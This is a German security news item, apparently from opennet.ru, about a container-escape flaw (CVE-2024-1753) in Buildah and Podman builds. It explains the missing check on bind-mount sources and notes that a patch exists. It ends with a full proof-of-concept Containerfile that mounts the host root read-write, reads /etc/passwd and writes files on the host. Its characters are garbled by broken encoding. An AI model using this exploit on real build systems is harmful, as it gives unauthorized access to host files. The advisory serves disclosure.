In den Paketen Buildah und Podman wurde eine Schwachstelle (CVE-2024-1753) entdeckt, die vollen Zugriff auf das Dateisystem der Host-Umgebung wÀhrend des Container-Bauprozesses mit Root-Rechten ermöglicht. In Systemen mit aktiviertem SELinux ist der Zugriff auf das Host-Dateisystem auf den Nur-Lese-Modus beschrÀnkt. Ein Patch zur Behebung ist vor kurzem in den Buildah-Code aufgenommen worden.
Die Schwachstelle entsteht dadurch, dass beim Einbinden von Dateisystemteilen ĂŒber den Befehl âmount âbindâ wĂ€hrend des Bauvorgangs im RUN-Stadium das Argument mit dem Quellverzeichnis (Parameter âsource=â) nicht auf seine Existenz im Root-Dateisystem ĂŒberprĂŒft wird. Eine vom Angreifer vorbereitete Containerfile-Konfigurationsdatei kann ein Container-Image verwenden, in dem das Quellverzeichnis fĂŒr das Einbinden als symbolischer Link auf das Root-Dateisystem dargestellt wird. In diesem Fall fĂŒhrt die Einbindungsoperation dazu, dass das Root-Dateisystem der Host-Umgebung innerhalb des Containers gemountet wird, was den vollstĂ€ndigen Zugriff auf das Dateisystem der Host-Umgebung im RUN-Stadium ermöglicht und einen Austritt aus dem Container wĂ€hrend des Baus mit den Befehlen âbuildah buildâ oder âpodman buildâ organisiert.
Ein Beispiel fĂŒr eine bösartige Containerfile, deren Bau mit dem Befehl âpodman build -f ~/Containerfile .â dazu fĂŒhren wird, dass der Inhalt von /etc/passwd angezeigt wird und die Dateien /BIND_BREAKEOUT und /etc/BIND_BREAKOUT2 in der Host-Umgebung erstellt werden: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo âls container rootâ RUN ls -l / RUN echo âMit Exploit zeige Host-Root, nicht den Container-Root, und erstelle /BIND_BREAKOUT in / auf dem Hostâ RUN âmount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo âMit Exploit zeige Host /etc/passwd, nicht den des Containers, und erstelle /BIND_BREAKOUT2 in /etc auf dem Hostâ RUN âmount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2
Quelle: opennet.ru
